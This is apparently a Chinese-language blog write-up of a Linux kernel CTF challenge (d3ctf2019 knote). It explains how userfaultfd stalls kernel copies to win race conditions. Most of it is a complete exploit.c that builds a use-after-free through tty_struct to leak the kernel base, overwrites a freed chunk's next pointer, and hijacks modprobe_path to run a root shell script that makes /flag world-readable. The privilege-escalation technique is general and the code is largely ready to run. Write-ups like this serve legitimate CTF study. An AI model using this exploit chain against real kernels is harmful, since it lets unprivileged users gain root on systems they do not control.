linux kernel pwn学习之条件竞争(二)userfaultfd
userfaultfd、mobprobe_path、mod_tree的利用
userfaultfd是linux下的一直缺页处理机制,用户可以自定义函数来处理这种事件。所谓的缺页,就是所访问的页面还没有装入RAM中。比如mmap创建的堆,它实际上还没有装载到内存中,系统有自己默认的机制来处理,用户也可以自定义处理函数,在处理函数没有结束之前,缺页发生的位置将处于暂停状态。这将非常有助于条件竞争的利用。
举个栗子
假如在内核里有这样一段代码
- if (ptr) {
- ...
- copy_from_user(ptr,user_buf,len);
- ...
- }
如果,我们的user_buf是一块mmap映射的,并且未初始化的区域,此时就会触发缺页错误,copy_from_user将暂停执行,在暂停的这段时间内,我们开另一个线程,将ptr释放掉,再把其他结构申请到这里(比如tty_struct),然后当缺页处理结束后,copy_from_user恢复执行,然而ptr此时指向的是tty_struct结构,那么就能对tty_struct结构进行修改了。虽然说,不用缺页处理,也能造成条件竞争,但是几率比较小。而利用了缺页处理,几率将增加很大很大。
大概就是这个道理,我们来看看,如何注册userfaultfd吧,话不多说,这是模板,更详细的可以自行去看看文档。
- //注册一个userfaultfd来处理缺页错误
- void registerUserfault(void *fault_page,void *handler)
- {
- pthread_t thr;
- struct uffdio_api ua;
- struct uffdio_register ur;
- uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
- ua.api = UFFD_API;
- ua.features = 0;
- if (ioctl(uffd, UFFDIO_API, &ua) == -1)
- errExit("[-] ioctl-UFFDIO_API");
- ur.range.start = (unsigned long)fault_page; //我们要监视的区域
- ur.range.len = PAGE_SIZE;
- ur.mode = UFFDIO_REGISTER_MODE_MISSING;
- if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
- errExit("[-] ioctl-UFFDIO_REGISTER");
- //开一个线程,接收错误的信号,然后处理
- int s = pthread_create(&thr, NULL,handler, (void*)uffd);
- if (s!=0)
- errExit("[-] pthread_create");
- }
为了更好的理解,我们以d3ctf2019-knote为例
d3ctf2019-knote
首先,查看一下启动脚本
- #!/bin/sh
- qemu-system-x86_64 \
- -m 128M \
- -kernel ./bzImage \
- -initrd ./rootfs.img \
- -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
- -nographic \
- -monitor /dev/null \
- -smp cores=2,threads=1 \
- -cpu qemu64,+smep,+smap \
发现开启了smep、smap机制,接下来,我们启动系统,查看一下内核版本
在linux 5以上,似乎很难ret2usr,貌似多了其他的机制,使得单纯修改cr4不起作用,以后慢慢研究。
然后,我们用IDA分析一下note.ko驱动文件
Ioctl定义了经典的增删改查操作
Add操作,有锁保护着,不担心多线程,size不能超过0xFFF
Delete操作,也没啥好说的
Edit操作全程没有加锁
Get操作也是全程没有加锁
那么思路很明显了,使用userfaultfd暂停copy_user_generic_unrolled函数,然后在另一个线程里趁机释放ptr,并把其他结构,比如tty_struct申请到这里,然后恢复copy_user_generic_unrolled的执行,从而达到对指定数据结构的读/写,之前,我在https://blog.csdn.net/seaaseesa/article/details/104591448这篇博客了讲到了可以伪造空闲堆的next指针,实现任意地址处分配,我们就可以利用这个。在linux kernel 5以上,似乎ROP到用户的区域变得困难,那么,我们有了另一个好方法,那就是劫持modprobe_path,modprobe_path执行了一个二进制文件,默认为/bin/ modprobe,当系统执行一个非法二进制文件(不是elf格式,也不是文本)的时候,就会去调用modprobe_path指向的程序。
- int __request_module(bool wait, const char *fmt, ...)
- {
- va_list args;
- char module_name[MODULE_NAME_LEN];
- int ret;
- /*
- * We don't allow synchronous module loading from async. Module
- * init may invoke async_synchronize_full() which will end up
- * waiting for this task which already is waiting for the module
- * loading to complete, leading to a deadlock.
- */
- WARN_ON_ONCE(wait && current_is_async());
- if (!modprobe_path[0])
- return 0;
- va_start(args, fmt);
- ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
- va_end(args);
- if (ret >= MODULE_NAME_LEN)
- return -ENAMETOOLONG;
- ret = security_kernel_module_request(module_name);
- if (ret)
- return ret;
- if (atomic_dec_if_positive(&kmod_concurrent_max) < 0) {
- pr_warn_ratelimited("request_module: kmod_concurrent_max (%u) close to 0 (max_modprobes: %u), for module %s, throttling...",
- atomic_read(&kmod_concurrent_max),
- MAX_KMOD_CONCURRENT, module_name);
- ret = wait_event_killable_timeout(kmod_wq,
- atomic_dec_if_positive(&kmod_concurrent_max) >= 0,
- MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);
- if (!ret) {
- pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",
- module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);
- return -ETIME;
- } else if (ret == -ERESTARTSYS) {
- pr_warn_ratelimited("request_module: sigkill sent for modprobe %s, giving up", module_name);
- return ret;
- }
- }
- trace_module_request(module_name, wait, _RET_IP_);
- ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
- atomic_inc(&kmod_concurrent_max);
- wake_up(&kmod_wq);
- return ret;
- }
内核调用call_modprobe函数执行mobprobe_path指向的文件,并且call_modprobe函数拥有root权限,我们只需要劫持mobprobe_path,指向我们提权的脚本,然后指向一个非法二进制,就能触发提权脚本的执行。
与mobprobe_path配套的还有mod_tree,这里记录着ko模块的加载地址,因此可以用来泄露模块地址。这两个变量的地址都能在/proc/kallsyms里找到,因此,我们可以得到它们的静态地址。
大概就是这样,直接上exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
//页大小
#define PAGE_SIZE 0x1000
//tty_struct的大小
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第二次利用时,堆统一的大小
//随便设置,过大过小都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;
//驱动的文件描述符
int fd;
//ptmx的文件描述符
int tty_fd;
//传给驱动的数据结构
struct Data {
union {
size_t size; //大小
size_t index; //下标
};
void *buf; //数据
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}
void initFD() {
fd = open("/dev/knote",O_RDWR);
if (fd < 0) {
errExit("device open error!!");
}
}
//创建一个节点
void kcreate(size_t size) {
struct Data data;
data.size = size;
data.buf = NULL;
ioctl(fd,0x1337,&data);
}
//删除一个节点
void kdelete(size_t index) {
struct Data data;
data.index = index;
ioctl(fd,0x6666,&data);
}
//编辑一个节点
void kedit(size_t index,void *buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,0x8888,&data);
}
//显示节点的内容
void kshow(size_t index,void *buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,0x2333,&data);
}
//注册一个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
errExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
}
//针对laekKernelBase时的缺页处理线程
//这个线程里,我们不需要做什么,仅仅是
//为了拖延阻塞时间,给子进程足够的时间
//来形成一个UAF
void* leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak_handler created");
sleep(3); //休眠一下,留给子进程足够时间操作
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
//poll会阻塞,直到收到缺页错误的消息
nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;
//初始化page页
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
//出现缺页的位置
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
//复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
//然而,我们在阻塞的这段时间,堆0的内容已经是tty_struct结构
//因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak_handler done!!");
return NULL;
}
//泄露内核地址
void leakKernelBase() {
//创建一个与tty_struct结构大小相同的堆
kcreate(TTY_STRUCT_SIZE);
//用于接收kshow的内容,由于我们是用mmap映射的一块区域,传入kshow时,导致缺页错误,从而可以进入我们自定义的
//处理函数里阻塞
char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_buf == MAP_FAILED)
errExit("[-] mmap user_buf error!!");
//注册一个userfaultfd,监视user_buf处的缺页
registerUserfault(user_buf,leak_handler);
int pid = fork();
if (pid < 0) {
errExit("[-]fork error!!");
} else if (pid == 0) { //子进程
sleep(1); //让父进程先执行,进入userfaultfd阻塞,这样子线程可以为所欲为的操作
kdelete(0); //删除我们创建的那个堆
tty_fd = open("/dev/ptmx",O_RDWR); //这一步的作用是让tty_struct的结构申请到我们释放后的堆里,再用UAF就能泄露信息
exit(0); //退出子进程
} else {
//父进程触发缺页错误,从而进入handle函数,阻塞,给子进程足够的操作时间
kshow(0,user_buf);
//现在,user_buf里存储着tty_struct结构,我们读出来,可以得到很多数据
size_t *data = (size_t *)user_buf;
if (data[7] == 0) { //没有数据,说明失败了
munmap(user_buf, PAGE_SIZE);
close(tty_fd);
errExit("[-]leak data error!!");
}
close(tty_fd); //关闭ptmx设备,释放占用的空间
//得到某函数的地址
size_t x_fun_addr = data[0x56];
//计算出内核基址
size_t kernel_base = x_fun_addr - 0x5d4ef0;
//当内核运行未知的二进制文件时,会调用modprobe_path指向的可执行文件
//因此,我们的目的是劫持modprobe_path,指向一个shell文件即可
modprobe_path = kernel_base + MOD_PROBE;
printf("kernel_base=0x%lx\n",kernel_base);
printf("modprobe_path=0x%lx\n",modprobe_path);
}
}
//针对writeHeapFD时的缺页处理线程
//这个线程里,我们要把modprobe_path的地址
//写进去
void* write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] write_handler created");
sleep(3); //休眠一下,留给子进程足够时间操作,形成UAF
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
//poll会阻塞,直到收到缺页错误的消息
nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}
//断言是否是缺页的错误
//assert(msg.event == UFFD_EVENT_PAGEFAULT);
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;
//初始化page页
memset(page, 0, sizeof(page));
//写入modprobe_path
memcpy(page,&modprobe_path,8);
uc.src = (unsigned long)page;
//出现缺页的位置
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
//复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
//然而,我们在阻塞的这段时间,堆0被释放掉了,当恢复的时候
//是向一个已经释放的堆写数据
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] writek_handler done!!");
return NULL;
}
//条件竞争改写空闲堆块的next指针,使用与leakKernelBase同样的方法
void writeHeapFD() {
kcreate(CHUNK_SIZE); //0
//用于接收kedit的内容,由于我们是用mmap映射的一块区域,传入kedit时,导致缺页错误,从而可以进入我们自定义的
//处理函数里阻塞
char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_buf == MAP_FAILED)
errExit("[-] mmap user_buf error!!");
//注册一个userfaultfd,监视user_buf处的缺页
registerUserfault(user_buf,write_handler);
int pid = fork();
if (pid < 0) {
errExit("[-]fork error!!");
} else if (pid == 0) { //子进程
sleep(1); //让父进程先执行,进入userfaultfd阻塞
kdelete(0); //删除堆,形成UAF
exit(0);
} else {
kedit(0,user_buf); //触发缺页错误阻塞
//kedit结束后,空闲块的next域已经写上了攻击目标的地址
}
}
char tmp[0x100] = {0};
int main() {
//初始化驱动
initFD();
//条件竞争泄露内核基址
leakKernelBase();
sleep(2);
//将modprobe_path地址写到空闲堆的next指针处
writeHeapFD();
sleep(2);
kcreate(CHUNK_SIZE); //0
kcreate(CHUNK_SIZE); //1,分配到目标处
strcpy(tmp,"/tmp/shell.sh");
kedit(1,tmp); //将modprobe_path指向我们的shell文件
//创建一个用于getshelll的脚本
system("echo '#!/bin/sh' >> /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");
//创建一个非法的二进制文件,执行,触发shell
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
//触发shell执行,修改flag文件普通用户可以读写
system("/tmp/fake");
system("cat /flag");
//结束程序时,会释放堆,但是我们的modprobe_path处不是合法的堆,会释放出错,导致内核崩溃重启
sleep(3);
return 0;
}
失败了可以多次尝试,最后成功得到flag
上一篇: linux kernel pwn学习之条件竞争(一)
下一篇: ciscn_final_3